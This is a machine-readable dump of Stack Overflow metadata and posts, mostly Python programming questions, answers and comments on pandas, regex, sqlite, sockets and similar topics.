
http://stackoverflow.com/comment/86091577
comment on: http://stackoverflow.com/q/49541231
has text: Dictionary keys have to be immutable, unlike values which don't need to be.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49478087
accepted answer: http://stackoverflow.com/a/49479191
has comment: http://stackoverflow.com/comment/85958733
has answer: http://stackoverflow.com/a/49478143
has comment: http://stackoverflow.com/comment/85958832
downvote count: 1
has answer: http://stackoverflow.com/a/49478135
favorite count: 0
possible better answer: http://stackoverflow.com/a/49478135
has comment: http://stackoverflow.com/comment/85959254
type: Question
has comment: http://stackoverflow.com/comment/85958868
has body: The question for the code is 'input a word and check whether the first character of the word is repeated in the word again or not. If yes then change all the repeating characters to $ except the first character.' So I coded the following and used the logic to start the loop from the second character of the word so that first character remains unchanged. a=input() for i in range(1,len(a)): if(a[i]==a[0]): b=a.replace(a[i],'$') print(b) for the above program I gave the input as 'agra' and to my surprise got the output as '$gr$'. the first character was also changed. What is the problem with my logic? and what other solution do you suggest?
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/85958696
has title: Replace all subsequent occurrences of the first character by `$`
tagged with: python
upvote count: 4
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/85958731
answer count: 3
has answer: http://stackoverflow.com/a/49479191

http://stackoverflow.com/comment/86000506
score: 0
has text: I appreciate your response, but a graph using this data would look simply like a line graph for ID 101002 at timepoints Pre-Dose, 30-Minutes, and 1-hr. I believe this is the same person that put my last question on hold? If you don't understand the question, please let someone else answer
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49498106

http://stackoverflow.com/comment/85928389
type: QuestionComment
comment on: http://stackoverflow.com/q/49462551
has text: sortedValidGroups = sorted(validGroups,key = lambda x:x[1]) print(sortedValidGroups) groups = [list(group) for key, group in groupby(sortedValidGroups, itemgetter(1))] print(groups) output: [[(5, 1)], [(0, 3), (1, 3), (2, 3), (3, 3), (4, 3), (6, 3)]] But my output should be (This is of the form[(values,keys)]) [[(5, 1)],[(0, 3), (1, 3), (2, 3)],[(3, 3), (4, 3), (6, 3)]] and then I need to sort the values to produce the final output 0,1,2 3,4,6 5
score: 0
type: Comment

http://stackoverflow.com/comment/86006262
comment on: http://stackoverflow.com/q/49501092
score: 14
has text: How have they proved that C# is safe?
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86134073
comment on: http://stackoverflow.com/q/49562967
score: 0
type: Comment
has text: "[I] have never tried to use it." Well now is a good moment to try! there are some simple tutorials online. Regex is one of the best ways to find something in a string
type: QuestionComment

http://stackoverflow.com/comment/116911730
comment on: http://stackoverflow.com/q/49570341
type: Comment
type: QuestionComment
score: 0
has text: `dist_point_to_segment` was removed from mlab but the source of that and the dist function can be copied in from here: https://matplotlib.org/3.0.0/_modules/matplotlib/mlab.html#dist_point_to_segment

http://stackoverflow.com/q/49446297
tagged with: pandas
answer count: 1
has body: I'm trying to code as efficiently and pythonicly as possible (that is avoiding loops whenever possible) and I've found this and this but they seem to be irrelevant to my question. Consider a pd.DataFrame called df with 30 years of hourly data for 28 countries: index: datetime64[ns] (e.g. '1980-01-01 00:00:00') and in columns: a 2-digit countrycode of each of the 28 countries. e.g. countrycode AT BE [...] time 1980-01-01 00:00:00 0.016947 0.059076 1980-01-01 01:00:00 0.019461 0.068575 [...] 2009-31-12 23:00:00 0.119735 0.287495 In order to create yearly boxplots for every country separately, e.g. via ds[country].plot(kind='box'), I intend to transform this DataFrame into the following form: columns: pd.MultiIndex such as (countrycode, year) e.g. ('AT', 1980), ('AT', 1981), ... index: range(8760) e.g. (0, 1, ... 8759) The piece of code I came up with works well, but its damn slow due to a nested loop: years = sorted(set(df.index.year)) ds = pd.DataFrame(columns=pd.MultiIndex .from_product([df.columns, years])) for reg, col in df.iteritems(): for year, group in col.groupby(by=df.index.year): ds.loc[:, (reg, year)] = group.reset_index(drop=True) Any ideas to code this part more efficiently are highly welcome :)
type: Question
tagged with: performance
has title: Avoid nested loop for datetimeindex
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/44462325
tagged with: python
has answer: http://stackoverflow.com/a/49447749
tagged with: python-2.7
score: 0
linked to: http://stackoverflow.com/q/14780567

http://stackoverflow.com/q/49446784
tagged with: tshark
downvote count: 0
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/85974693
has comment: http://stackoverflow.com/comment/85909861
favorite count: 0
has comment: http://stackoverflow.com/comment/85908685
has comment: http://stackoverflow.com/comment/85903155
has answer: http://stackoverflow.com/a/49446849
tagged with: python
type: Question
has body: I have a big pcap file, from which I filter out some packets with tshark, save them in new pcap files and put the filenames of the new pcap files in an array called "filename_array". At the end I delete all the files which are saved in the filename_array. But one file from this array is still open when the delete process starts and due to that the error "text file busy" occurs. So, a solution would be, to check, if all files of the array are closed. If it's true, I can delete all of them. How can I do this?
answer count: 2
has answer: http://stackoverflow.com/a/49446903
has comment: http://stackoverflow.com/comment/85905144
type: UnansweredQuestion
has title: Check if files are open (because of error: "text file busy") in Python

http://stackoverflow.com/a/49538084
has body: The pattern (\d+).(\d+) will capture one or more digits in capture group 1 and group 2 and the dot would match any character. That would also match 123a456 One option to capture the prices is to match what you do not want (?:badword|badword2) \$ \d+(?:\.\d+)* and then capture in a group \$ (\d+(?:\.\d+)*) what you do want using an alternation: (?:badword|badword2) \$ \d+(?:\.\d+)*|\$ (\d+(?:\.\d+)*) That would match (?: Non capturing group badword|badword2 Match bad words ) Close non capturing group \$ Match whitespace $ whitespace \d+(?:\.\d+)* Match 1 or more digits followed by (a dot and 1 or more digits) repeated 0 or more times | Or \$ Match whitespace $ whitespace ( Capturing group (Your digits will be in here) \d+(?:\.\d+)* Match 1 or more digits followed by (a dot and 1 or more digits) repeated 0 or more times ) Close capturing group You can extend the alternation with the badwords you want to add.
type: Answer
score: 2
upvote count: 2
accepted answer of: http://stackoverflow.com/q/49537815
has comment: http://stackoverflow.com/comment/86085286
downvote count: 0
has comment: http://stackoverflow.com/comment/86084276
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86084059
answers question: http://stackoverflow.com/q/49537815
has comment: http://stackoverflow.com/comment/86093066

http://stackoverflow.com/comment/86121492
type: Comment
comment on: http://stackoverflow.com/a/49533359
type: AnswerComment
has text: @ThaNoob I mean that an external visualiser could be conceptually easier to use so that you don't have to dig too deeply into the ABAQUS documentation. It hinges on whether you know of a program which just reads in coordinate data and associated values and plots something out of that. The `fieldOutput` object isn't too bad once you become familiar with it, but do note that if you rely on this you'll be limited to using the CAE GUI, which for larger models could be much slower than an external visualiser designed specifically to read floating point data and plot coloured shapes
score: 0

http://stackoverflow.com/q/49532229
has comment: http://stackoverflow.com/comment/86071128
accepted answer: http://stackoverflow.com/a/49533171
has title: SELECT * FROM table_name give me only one column as result
tagged with: python
has comment: http://stackoverflow.com/comment/86070901
has body: I'm using python 2.7 and sqlite3 as DB, I am trying to call from this table : using this code : conn = sqlite3.connect('storage/container.db') conn.row_factory = lambda c, row: row[0] c = conn.cursor() c.execute("SELECT * FROM reports") for row in c.fetchall(): print row and the result is : 0 1204 which is only the id column, despite I am using fetchall() and used SELECT * update After removing conn.row_factory = lambda c, row: row[0] the result is : (0, u'دخول', u'كرسى', 8, u'أحمد وجدى', u'2018-03-28') (1204, u'خروج', u'كرسى', 3, u'أحمد وجدى', u'2018-03-28') then tried to add utf-encoding to the connection but still the same result, i used c.execute('PRAGMA encoding="UTF-8";')
type: AnsweredQuestion
answer count: 2
has answer: http://stackoverflow.com/a/49533441
tagged with: sqlite
downvote count: 0
has comment: http://stackoverflow.com/comment/86070819
has answer: http://stackoverflow.com/a/49533171
has comment: http://stackoverflow.com/comment/86071480
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/86071720
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86071318
possible better answer: http://stackoverflow.com/a/49533441

http://stackoverflow.com/a/49534379
has body: This is expected behavior not an error. The autoencoder_yes.load_weights("weights.best.h5") doesn't actually return anything, so if you try to print the output of this function you will get None as output. Expected behavior In the code that you have provided, you have trained the model and saved the weights. So, the autoencoder_yes is a keras.Model object that has the fine-tuned weights. In the same script if you load the saved weights once again, nothing is supposed to happen, the weights that you saved will get loaded again. For clarity Start with another fresh script, build the same model architecture and reload the weights from the h5 file and then do some predictions. In that case it will silently load the pre-trained weights and do the predictions according to that.
has comment: http://stackoverflow.com/comment/86109053
score: 0
has comment: http://stackoverflow.com/comment/86104074
answers question: http://stackoverflow.com/q/49534172
has comment: http://stackoverflow.com/comment/86076885
type: Answer

http://stackoverflow.com/q/49550702
answer count: 1
has body: I have a python script that prints to the stdout a list of files, for example: $ ./myscript.py "file a.txt" "file b.txt" "file c.txt" I want to open these files in LESS $ less &lt;(./myscript.py) But I get the following error: -bash: /dev/fd/63: Permission denied $ Exception ignored in: &lt;_io.TextIOWrapper name='&lt;stdout&gt;' mode='w' encoding='UTF-8'&gt; BrokenPipeError: [Errno 32] Broken pipe I think it may be the same problem as @Jon-Clements refers to in grep: broken pipe error python 2.2, i.e. the pipe is finished; but I'm not sure. I also tried (maybe incorrectly) the solution by @chepner store return value of a Python script in a bash script but it gives the same error. How can I fix this? I know that mixing BASH and Python is bad practice. BTW, the python script is using a loop around the following statement to produce the list of filenames: print('"'+filename+'"',sep=" ",end=' ',) Also, when I copy and paste the output manually to less, it works fine.
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86109705
has comment: http://stackoverflow.com/comment/86109576
tagged with: pipe
score: 1
tagged with: python
type: AnsweredQuestion
tagged with: bash
has title: python print output piped to BASH leads to "broken pipe"
downvote count: 0
has answer: http://stackoverflow.com/a/49556362
accepted answer: http://stackoverflow.com/a/49556362
upvote count: 1
linked to: http://stackoverflow.com/q/11526428
linked to: http://stackoverflow.com/q/11900828
has comment: http://stackoverflow.com/comment/86108941

http://stackoverflow.com/q/49442978
has comment: http://stackoverflow.com/comment/85888287
answer count: 4
favorite count: 0
type: Question
has title: AttributeError: 'list' object has no attribute 'update'
tagged with: mongodb
has answer: http://stackoverflow.com/a/49442992
has comment: http://stackoverflow.com/comment/85887675
has comment: http://stackoverflow.com/comment/85888090
has comment: http://stackoverflow.com/comment/85888217
has body: I am trying to update the value of project['submission']['status'] to queued for each matching version as below but running into a compilation error,any pointers on how to fix it is really appreicated? from pymongo import MongoClient from bson.objectid import ObjectId import os,pymongo dbuser = os.environ.get('muser', '') dbpass = os.environ.get('mpwd', '') uri = 'mongodb://{dbuser}:{dbpass}@machineip/data'.format(**locals()) client = MongoClient(uri) db = client.data collection = db['test'] print db.version cursor = collection.find({}) cursor = collection.find({}) for document in cursor: if document['version'] == '9.130.39.0.32.6.1': for project in document['projects']: print project print project['name'] print project['_id'] id = project['_id'] print project['submission']['status'] if project['submission']['status'] != 'queued': print "Inside Update.." #project['submission']['status'] = 'queued' collection_projects = document['projects'] #print collection_projects for project in collection_projects: project.update( { "_id": ObjectId(id) }, { "$set": { "sanity": "queued" } }) Document: { "_id" : ObjectId("5a95a1c32a2e2e0025e6d6e2"), "status" : "Submitting", "sanity" : "none", "version" : "9.130.39.0.32.6.1", "requestTime" : ISODate("2018-02-27T18:21:55.764Z"), "projects" : [ { "name" : "BCMFurm_4364_B2_ekans", "_id" : ObjectId("5a95a1c32a2e2e0025e6d6eb"), "submission" : { "status" : "passed", --&gt; this status should change to "queued" "system" : "machine.com" } }, { "name" : "BCMFurm_4364_B2_sid", "_id" : ObjectId("5a95a1c32a2e2e0025e6d6ea"), "submission" : { "status" : "passed",--&gt; this status should change to "queued" "system" : "machine.com" } }, { "name" : "BCMFurm_4364_Notes", "_id" : ObjectId("5a95a1c32a2e2e0025e6d6e3"), "submission" : { "status" : "passed",--&gt; this status should change to "queued" "system" : "machine.com" } } ], "Notes" : [], } Error:- "sanity": "queued" TypeError: update expected at most 1 arguments, got 2 UPDATE:- ''' for document …
upvote count: 1
tagged with: python
downvote count: 1
has comment: http://stackoverflow.com/comment/85888510
has answer: http://stackoverflow.com/a/49443021
possible better answer: http://stackoverflow.com/a/49443021
has answer: http://stackoverflow.com/a/49443361
has comment: http://stackoverflow.com/comment/85888142
has comment: http://stackoverflow.com/comment/85888459
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/85888274
has comment: http://stackoverflow.com/comment/85888547
has answer: http://stackoverflow.com/a/49460587
accepted answer: http://stackoverflow.com/a/49460587
has comment: http://stackoverflow.com/comment/85888170

http://stackoverflow.com/comment/86134802
type: QuestionComment
comment on: http://stackoverflow.com/q/49563179
type: Comment
score: 0
has text: Also, on the NVIDIA website, it says that there is Tensorflow support for 7.1. So, would this really be the problem? https://developer.nvidia.com/cudnn

http://stackoverflow.com/comment/85903165
comment on: http://stackoverflow.com/q/49450452
type: Comment
score: 1
type: QuestionComment
has text: Welcome to SO. Please provide a **[mcve]**.

http://stackoverflow.com/comment/86140817
has text: would you mind explaining your regex usage? what does '', do? and what does bool(i) do?
type: AnswerComment
comment on: http://stackoverflow.com/a/49566144
score: 0
type: Comment

http://stackoverflow.com/a/49597727
type: Answer
accepted answer of: http://stackoverflow.com/q/49596256
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49596256
score: 0
has body: struct Tabelog: Codable { let url: String let name: String let address: String let pref: String let zip: String let tel: String let latitude: Float let longitude:Float let price: String let category: String let rate: String let moyori: String let transportation: String let hours: String let holiday: String let website: String } is correct, Type were wrong. Thank you.

network-programming
tag name: network-programming
tags question: http://stackoverflow.com/q/49516002
tags question: http://stackoverflow.com/q/49458513
tags question: http://stackoverflow.com/q/49459281
tags question: http://stackoverflow.com/q/49440727
tags question: http://stackoverflow.com/q/49565726
tags question: http://stackoverflow.com/q/49520187
tags question: http://stackoverflow.com/q/49465996
tags question: http://stackoverflow.com/q/49585222
tags question: http://stackoverflow.com/q/49508903
tags question: http://stackoverflow.com/q/49592120
tags question: http://stackoverflow.com/q/49484847
tags question: http://stackoverflow.com/q/49451139
tags question: http://stackoverflow.com/q/49543771
type: Tag
tags question: http://stackoverflow.com/q/49460872
tags question: http://stackoverflow.com/q/49565749
tags question: http://stackoverflow.com/q/49473373
tags question: http://stackoverflow.com/q/49598223

http://stackoverflow.com/comment/85953041
has text: @Graipher is there a way to pass an image from source, to my own domain?
comment on: http://stackoverflow.com/q/49475103
type: QuestionComment
score: 1
type: Comment

http://stackoverflow.com/comment/86000989
score: 1
type: Comment
comment on: http://stackoverflow.com/a/49498497
type: AnswerComment
has text: https://stackoverflow.com/questions/36825925/expressions-with-true-and-is-true-give-different-results

http://stackoverflow.com/comment/85904713
has text: The answer is probably somewhere in how mutable hashes go against the assumptions made by the internals of `set`. Hence the problem is probably the fact that your hashes mutate.
comment on: http://stackoverflow.com/q/49451001
type: Comment
score: 1
type: QuestionComment

http://stackoverflow.com/comment/86117474
score: 0
type: Comment
type: QuestionComment
has text: You need to handle the popups first. The invoke click on `Yearly`
comment on: http://stackoverflow.com/q/49553209

http://stackoverflow.com/a/49559093
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49558958
answers question: http://stackoverflow.com/q/49558958
type: Answer
score: 3
upvote count: 3
has body: You can use scipy.stats together with np.array.ravel() to flatten the array. This gives you both the mode and the count. import numpy as np from scipy import stats A = np.random.randint(0, 9, (10, 10)) res = stats.mode(A.ravel()) # ModeResult(mode=array([4]), count=array([19]))

http://stackoverflow.com/a/49564882
score: 0
answers question: http://stackoverflow.com/q/49563746
type: Answer
has body: Try grouping them by state first and then merging them with df_t: # untested code counts = ( df_o[df_o.month.between("2011-01", "2015-12")] .groupby("state")["count"].sum() .reset_index(name="counts") ) df_t.merge(counts, left_on="level_1", right_index=True, how="left")

http://stackoverflow.com/a/49471822
has body: Here's one way to get from A to B: &gt;&gt;&gt; import datetime ... ... d = datetime.datetime.now() ... print(d) ... print(d.isoformat()) ... print(d.isocalendar()) ... ... yr, weeknum, weekday = map(str, d.isocalendar()) ... weeknum = '0' + weeknum if len(weeknum) == 1 else weeknum ... weekday = '0' + weekday ... '-'.join((yr, weeknum, weekday)) + d.isoformat()[10:] ... 2018-03-24 22:01:33.781735 2018-03-24T22:01:33.781735 (2018, 12, 6) '2018-12-06T22:01:33.781735' Functionally, &gt;&gt;&gt; def customiso(dt): ... yr, weeknum, weekday = map(str, dt.isocalendar()) ... weeknum = '0' + weeknum if len(weeknum) == 1 else weeknum ... weekday = '0' + weekday ... return '-'.join((yr, weeknum, weekday)) + dt.isoformat()[10:] ... &gt;&gt;&gt; customiso(d) '2018-12-06T22:01:33.781735'
score: 2
has comment: http://stackoverflow.com/comment/85946417
has comment: http://stackoverflow.com/comment/85946412
has comment: http://stackoverflow.com/comment/85946405
upvote count: 2
answers question: http://stackoverflow.com/q/49471761
downvote count: 0
type: Answer

http://stackoverflow.com/a/49457445
downvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/97534710
score: 8
upvote count: 9
answers question: http://stackoverflow.com/q/49455806
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49455806
has body: The GridSearchCV will return an object with quite a lot information. It does return the model that performs the best on the left-out data: best_estimator_ : estimator or dict Estimator that was chosen by the search, i.e. estimator which gave highest score (or smallest loss if specified) on the left out data. Not available if refit=False. Note that this is not the model that's trained on the entire data. That means, once you are confident that this is the model you want, you will need to retrain the model on the entire data by yourself. Ref: http://scikit-learn.org/stable/modules/generated/sklearn.model_selection.GridSearchCV.html

http://stackoverflow.com/q/49483344
answer count: 2
tagged with: tkinter
upvote count: 0
has answer: http://stackoverflow.com/a/49487843
has comment: http://stackoverflow.com/comment/85970578
has title: Python 3 Tkinter Program not launching without IDLE
downvote count: 1
accepted answer: http://stackoverflow.com/a/49483927
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/85970534
possible better answer: http://stackoverflow.com/a/49487843
linked to: http://stackoverflow.com/q/38734521
has comment: http://stackoverflow.com/comment/85969771
has body: I'm currently trying to create a Python3 Tkinter program which I can launch by double clicking or opening from other python scripts, instead of going through idle. So far I've had little luck, as when I attempt to launch the script the console opens for a moment and then crashes. EDIT: Removing the logo segment of code allows the program to run. Any ideas why and how to fix it? Also I have not had to run a program via the console before so little luck there. from tkinter import * from tkinter import ttk root = Tk() root.title("Kinematics") Logo_frame = LabelFrame(root, bg = "white") Logo_frame.grid(row=0, column=12, sticky = "NSEW") #Logo Logo = Image(file="Logo-S.gif") image_label = ttk.Label(Logo_frame, image=Logo) image_label.grid(row=0, column=0, rowspan = 3) root.mainloop()
tagged with: python
score: -1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49483927

http://stackoverflow.com/a/49484108
score: 1
has body: no need set the fetch resources. its works for me def render_to_pdf(template_src, context_dict={}): template = get_template(template_src) html = template.render(context_dict) result = BytesIO() pdf = pisa.pisaDocument(BytesIO(html.encode("ISO-8859-1")), result) if not pdf.err: return HttpResponse(result.getvalue(), content_type='application/pdf') return None also try to refer this link html-template-to-pdf-in-django
type: Answer
has comment: http://stackoverflow.com/comment/124097192
answers question: http://stackoverflow.com/q/49483721
has comment: http://stackoverflow.com/comment/86011042
has comment: http://stackoverflow.com/comment/86011059
has comment: http://stackoverflow.com/comment/86004310
has comment: http://stackoverflow.com/comment/86010993
has comment: http://stackoverflow.com/comment/86011141
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/86004276

http://stackoverflow.com/comment/86037094
type: QuestionComment
comment on: http://stackoverflow.com/q/49515921
score: 0
has text: Turn it into a function and memoize it? Like: https://stackoverflow.com/a/9674327/102315 (Also has a cache_clear() function to 'refresh' it.)
type: Comment

http://stackoverflow.com/q/49533101
has body: i have an arduino that sends a text file to my computer through a python socket, im not sure what is causing the problem im having, my python socket script runs in a loop with the help of a batch script that keeps it running. the problem is sometimes i get a blank text file when receiving the txt file from the arduino. im not sure if its a damaged transfer/connection or the arduinos code. the final problem ends up being my matplotlib graph plot crashes when it gets to the blank spot in the log because it has no value to log just the line number. heres the python upload server script, with open('sensData.txt','wb') as f: while True: t = conn.recv(20) print t if t =='': s.close() break f.write(t) here is the part of the arduino code that uploads the file, void ftransfer() { char rbuffer[2]; char c; int n; // open test file SdFile rdfile("sensData.txt", O_READ); // &lt;--- Name of file to be transfered uint32_t fsize; //Obtain file size fsize = rdfile.fileSize() - rdfile.curPosition(); Serial.println(fsize); if (!rdfile.isOpen()) error("File could not be opened, check configuration..."); // check for open error Ethernet.begin(mac, ip); Serial.println("Connecting 10.0.0.89 To Open Transfer..."); Serial.println(Ethernet.localIP()); if (client.connect(server1, localport)) { Serial.println("Connected"); // if you get a connection, report back via serial: while ((n = rdfile.fgets(rbuffer, sizeof(rbuffer))) &gt; 0) { client.write(rbuffer, sizeof(rbuffer) - 1); } client.stop(); } else { Serial.println("No upload server available"); // No response from server1 } } heres the arduino part that reads the sensor, void loop(void) { tempvalue = analogRead(tempsensor); mySensorData = sd.open("sensData.txt", FILE_WRITE); if (mySensorData) { Serial.print("Analyzing Reading "); //Print Your results delay(5000); //Pause between readings. mySensorData.println (tempvalue); mySensorData.close(); ftransfer(); delay(1000); sd.remove("sensData.txt"); Serial.println("Done");//close the file } }…
favorite count: 0
type: Question
type: UnansweredQuestion
has title: Python Graph/Sensor data
tagged with: python
answer count: 0
score: 1
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/49592155
has comment: http://stackoverflow.com/comment/86192834
answer count: 0
type: UnansweredQuestion
has body: Edit: ITS SOLVED! It was the '/' operator, when all of them were substituted by '//' operators everything worked! I made a thing that is supposed to decompose numbers into the first 5 prime numbers, but when I put a big number on it, it just stops midway. x = int(input('Number to decompose:')) while((x % 2)== 0): x = int(x / 2) print(x, '2') while((x % 2)== 0): x = int(x / 2) print(x, '2') while((x % 5)== 0): x = int(x / 5) print(x, '5') while((x % 7)== 0): x = int(x / 7) print(x, '7') while((x % 11)== 0): x = int(x / 11) print(x, '11') If I introduce a little number such as 33578167194000 it decomsposes down to 13, but if put 547945845108645662650548617216 it stops midways in this number Number to decompose:547945845108645662650548617216 273972922554322831325274308608 2 136986461277161415662637154304 2 68493230638580707831318577152 2 34246615319290353915659288576 2 17123307659645176957829644288 2 8561653829822588478914822144 2 4280826914911294239457411072 2 2140413457455647119728705536 2 1070206728727823559864352768 2 535103364363911779932176384 2 267551682181955889966088192 2 133775841090977944983044096 2 66887920545488972491522048 2 33443960272744486245761024 2 16721980136372243122880512 2 8360990068186121561440256 2 4180495034093060780720128 2 2090247517046530390360064 2 1045123758523265195180032 2 522561879261632597590016 2 261280939630816298795008 2 130640469815408149397504 2 65320234907704074698752 2 32660117453852037349376 2 16330058726926018674688 2 8165029363463009337344 2 4082514681731504668672 2 2041257340865752334336 2 1020628670432876167168 2 510314335216438083584 2 255157167608219041792 2 127578583804109520896 2 63789291902054760448 2 31894645951027380224 2 15947322975513690112 2 7973661487756845056 2 3986830743878422528 2 1993415371939211264 2 996707685969605632 2 498353842984802816 2 249176921492401408 2 124588460746200704 2 62294230373100352 2 31147115186550176 2 15573557593275088 2 7786778796637544 2 3893389398318772 2 1946694699159386 2 973347349…
score: 0
has title: Number decomposer doesn't work well with loop. What is the reason?
tagged with: while-loop
has comment: http://stackoverflow.com/comment/86192747
tagged with: operator-keyword
tagged with: python
tagged with: loops
type: Question

http://stackoverflow.com/a/57629587
answers question: http://stackoverflow.com/q/49453332
type: Answer
accepted answer of: http://stackoverflow.com/q/49453332
score: 0
has body: It turns out, what I needed was standard "monkey patching". Not a great idea either, but slightly cleaner than creating classes on the fly.
type: AcceptedAnswer

http://stackoverflow.com/comment/85968024
type: AnswerComment
comment on: http://stackoverflow.com/a/49482574
score: 1
type: Comment
has text: @codekaizer What do you mean? If it's not a literal, there isn't a problem in the first place. Just pass around `unicode`/`str` objects everywhere in your code except the edges, and `decode`/`encode` from/to `str`/`bytes` at those edges.

http://stackoverflow.com/q/49558985
has title: Importerror dlopen () symbol not found expected in flat namespace
has answer: http://stackoverflow.com/a/49630517
answer count: 1
tagged with: namespaces
type: AnsweredQuestion
tagged with: python-2.7
score: 0
tagged with: importerror
tagged with: python
has body: I'm trying to install the SPAMS (SPArse Modeling Software) toolbox for python. The building and installing seem to be ok, but when I test the installation I get this error: ImportError: dlopen(/Users/Apollo/venv/lib/python2.7/site-packages/_spams_wrap.so, 2): Symbol not found: _GOMP_critical_end Referenced from: /Users/Apollo/venv/lib/python2.7/site-packages/_spams_wrap.so Expected in: flat namespace in /Users/Apollo/venv/lib/python2.7/site-packages/_spams_wrap.so I checked all the answers but nothing worked and I'm stuck. I work on Mac OS X Lion 10.7.5, with virtual env, python 2.7.1, IDE PyCharm 5.0.6. The version of gcc is: i686-apple-darwin11-llvm-gcc-4.2 (GCC) 4.2.1 (Based on Apple Inc. build 5658) (LLVM build 2336.11.00)
type: Question
tagged with: c++
accepted answer: http://stackoverflow.com/a/49630517

http://stackoverflow.com/q/49551985
has comment: http://stackoverflow.com/comment/86111620
has body: I want to calculate the following equation: calc = value_a(2D) - (value_b(0D) + value_b(1D))/10000 value_a(2D) corresponds to type **a**, year **2D** and value **1.1275** value_b(0D) corresponds to type **b**, year **0D** and value **0** value_b(1D) corresponds to type **b**, year **1D** and value **0.125** and the result should be 1.1274875 but somwhow I am not sure how to access the proper data within my loop? I would like to keep my structure of the code. The code looks like the following: import pandas as pd data = pd.read_csv('C:/Book1.csv').fillna('') pd_date = pd.DatetimeIndex(data['date'].values) data['date'] = pd_date index_data = data.set_index('date') for current_date in index_data.index.unique(): for index, row in index_data.iterrows(): if index == current_date: for index2, row2 in index_data.iterrows(): if index2 == current_date: if row['type'] in {'a', 'b'} and row2['type'] in {'a', 'b'}: if row['year'] in {'0D','1D','2D'}: print(row['value']) The data looks like the following: date type year value 2015-02-09 a 2D 1.1275 2015-02-09 b 10M 58.125 2015-02-09 b 11M 68.375 2015-02-09 b 1M 3.345 2015-02-09 b 1W 0.89 2015-02-09 b 1Y 79.375 2015-02-09 b 2M 7.535 2015-02-09 b 2W 1.8 2015-02-09 b 3M 11.61 2015-02-09 b 3W 2.48 2015-02-09 b 4M 16.2 2015-02-09 b 5M 21.65 2015-02-09 b 6M 27.1 2015-02-09 b 7M 33.625 2015-02-09 b 8M 41.375 2015-02-09 b 9M 49.5 2015-02-09 b 0D 0 2015-02-09 b 1D 0.125
has comment: http://stackoverflow.com/comment/86111127
tagged with: arrays
tagged with: python
accepted answer: http://stackoverflow.com/a/49552668
has title: Python: Accessing the proper values in an array
type: AnsweredQuestion
score: 0
tagged with: pandas
answer count: 1
has answer: http://stackoverflow.com/a/49552668
has comment: http://stackoverflow.com/comment/86111502
has comment: http://stackoverflow.com/comment/86111360
type: Question
has comment: http://stackoverflow.com/comment/86111321

http://stackoverflow.com/q/49477106
tagged with: split
tagged with: python
tagged with: regex
type: AnsweredQuestion
score: 0
has title: Python - re.split string
tagged with: list
answer count: 1
accepted answer: http://stackoverflow.com/a/49477159
has body: I've been searching for a solution for a few hours now. I have a variable I want to split up in a nested list. points ="""M445,346c28.8,0,56,11.2,76.4,31.6C541.8,398,553,425.2,553,454s-11.2,56-31.6,76.4C501,550.8,473.8,562,445,562 s-56-11.2-76.4-31.6C348.2,510,337,482.8,337,454s11.2-56,31.6-76.4S416.2,346,445,346 M445,345c-60.2,0-109,48.8-109,109 s48.8,109,109,109s109-48.8,109-109S505.2,345,445,345L445,345z""" newPoints = re.split(r'[A-Za-z-]', points) It is a multiline var with x and y positions of points from a svg file. The pattern is that it starts a new item at a letter. I would like to have it ordered something like the following. I've tried some options like above. One of the mail problems is that it keeps deleting my delimiter. :) [ [ [command], [x of p1, y of p1], [x of p2, y of p2], [x of p3, y of p3] ] ] [ [ [M],[445,346] ], [ [c],[28.8,0],[56,11.2],[76.4,31.6] ] ] Any pointers are very welcome!
type: Question
has answer: http://stackoverflow.com/a/49477159

http://stackoverflow.com/comment/85909403
score: 0
has text: Do you have a specific reason for not using the `scipy.stats.gaussian_kde()` function?
comment on: http://stackoverflow.com/q/49451834
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86171405
comment on: http://stackoverflow.com/a/49579742
type: AnswerComment
score: 0
type: Comment
has text: and then to get back to 0 and 1s use the `astype()` method: `np.asarray(t.convert('1')).astype(np.uint8)`

http://stackoverflow.com/q/49470649
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49470758
has answer: http://stackoverflow.com/a/49470676
type: UnansweredQuestion
has body: I am trying to create a python function which will execute a C++ script based off users input. The function replaces some lines in a C++ file, and then executes it on python. Whenever the lines being replaced in the C++ file have wrong syntax, an error on invalid syntax occurs. In such case, I want the function to return -1, rather than just crashing or getting confused about wrong syntax/input on behalf of the user. I have tried: running a try catch statement in the python function running a try catch statement in the C++ code running a bash script with a try catch for compilation error Nevertheless, none of these options has worked. Any takers? C++ segment as a string Python function implementation
tagged with: python
has title: Try Catch for OS Errors due to Syntax when compiling C++ Program in Python
tagged with: c++
answer count: 2
tagged with: compiler-errors
tagged with: operating-system
score: 1

http://stackoverflow.com/a/49518151
score: 0
accepted answer of: http://stackoverflow.com/q/49517989
has comment: http://stackoverflow.com/comment/86041790
type: AcceptedAnswer
has body: when you collect your a and N variables, you convert them in float: a = float(input('Lower limit ---&gt; ')) N = float(input('Number of integral divisions ---&gt; ')) Then you try to iterate from a to N, but let's assume a=0.42 and n=3.14. How do you expect python to behave? print([x for x in range(0.42,3.14)]) # Raise TypeError: 'float' object cannot be interpreted as a so you have to convert your float into integers (a = int(a), N = int(N)): print([x for x in range(0,3)]) # prints [0, 1, 2] or you can use numpy, and define 2 float values and the step between them: import numpy as np np.arange(0.0, 1.0, 0.1) array([ 0. , 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9])
type: Answer
